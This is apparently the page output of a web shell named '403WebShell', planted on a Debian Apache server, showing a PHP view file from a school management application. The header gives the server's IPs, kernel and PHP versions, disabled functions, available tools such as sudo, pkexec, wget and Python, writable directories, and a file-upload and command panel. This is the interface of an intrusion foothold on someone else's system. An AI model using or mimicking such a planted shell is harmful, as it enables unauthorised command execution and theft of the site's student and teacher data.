Uname:Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

403WebShell
403Webshell
Server IP : 188.114.96.2  /  Your IP : 104.23.197.230
Web Server : Apache/2.4.59 (Debian)
System : Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : edlftp ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/git/sms.edl.codes.solutions/application/views/backend/admin/forms_student/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/git/sms.edl.codes.solutions/application/views/backend/admin/forms_student/list.php
<div class="tab-pane box active" id="list">

    <table class="table table-bordered datatable" id="table_export">
     <thead>
       <tr>
           <th><div>#</div></th>
           <th><div><?php echo get_phrase('sexe');?></div></th>
           <th><div><?php echo get_phrase('name');?></div></th>
           <th><div><?php echo get_phrase('email');?></div></th>
           <th><div><?php echo get_phrase('age');?></div>
           <th><div><?php echo get_phrase('course');?></div></th>
           <th><div><?php echo get_phrase('spoken');?></div></th></th>
           <th><div><?php echo get_phrase('written');?></div></th>
           <th><div><?php echo get_phrase('undestand');?></div></th>
           <th><div><?php echo get_phrase('reading');?></div></th>
</tr>

</thead>
        <tbody>
         <?php /* print_r($course_list); */?>
         <?php $count = 1;foreach($course_list as $row):
                $user = $this->userInfo['user_id'];
                $studentList = $this->crud_model->get_students($row['ID']);

           if(!isset($teacherId)){
             $teacherId = "431";
           }
           //var_dump($teacher)
           if($this->crud_model->check_child($studentList,$user)){
           ?>
            <tr>
               <td><?php echo $count++;?></td>
               <td><span class="btn btn-default"  onclick="showEdit('<?php echo $row['ID']; ?>')"><?php echo $row['CourseName'];?></span></td>
               <td>
                 <?php
                 $teacherList = $this->crud_model->get_teacher($row['ID']);
                 if(!empty($teacherList)){
                    $history = array();
                 foreach($teacherList as $teacher):
                   if(!in_array($teacher['teacher_id'],$history)){
               ?>
                   <a class="btn btn-default"><?php echo $this->crud_model->get_teacher_name($teacher['teacher_id']);?></a>
                 <?} array_push($history,$teacher['teacher_id']);
                 endforeach;
                 }
                 else{
                 ?>
                     <a class="btn btn-default" >Default Teacher</a>
                 <? }?>
               </td>
               <td>
                   <?php
                   if(!empty($studentList)){
                   $history = array();
                   foreach($studentList as $student):

                     if(!in_array($student['student_id'],$history)){
                   ?>
                     <a class="btn btn-default"><?php echo $this->crud_model->get_student_name($student['student_id']);?></a>
                   <?}
                   array_push($history,$student['student_id']);
                   endforeach;
                   }
                   else{
                   ?>
                       <a class="btn btn-default" href="">No Students</a>
                   <? }?>
               </td>
               <td><?php echo $this->crud_model->get_students_count($row['ID']);?></td>
               <td><?php print_r($this->crud_model->get_course_start($row['ID']));?></td>
               <td><?php echo $this->crud_model->get_course_end($row['ID']);?></td>
               <td><?php echo $this->crud_model->get_course_hours_total($row['ID']);?></td>
               <td><?php echo $this->crud_model->get_course_hours_remain($row['ID']);?></td>
               <td><?php  print_r($this->crud_model->get_students_age_interval($row['ID']));?></td>
            </tr>
          <?php }
         endforeach;?>
        </tbody>
    </table>
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit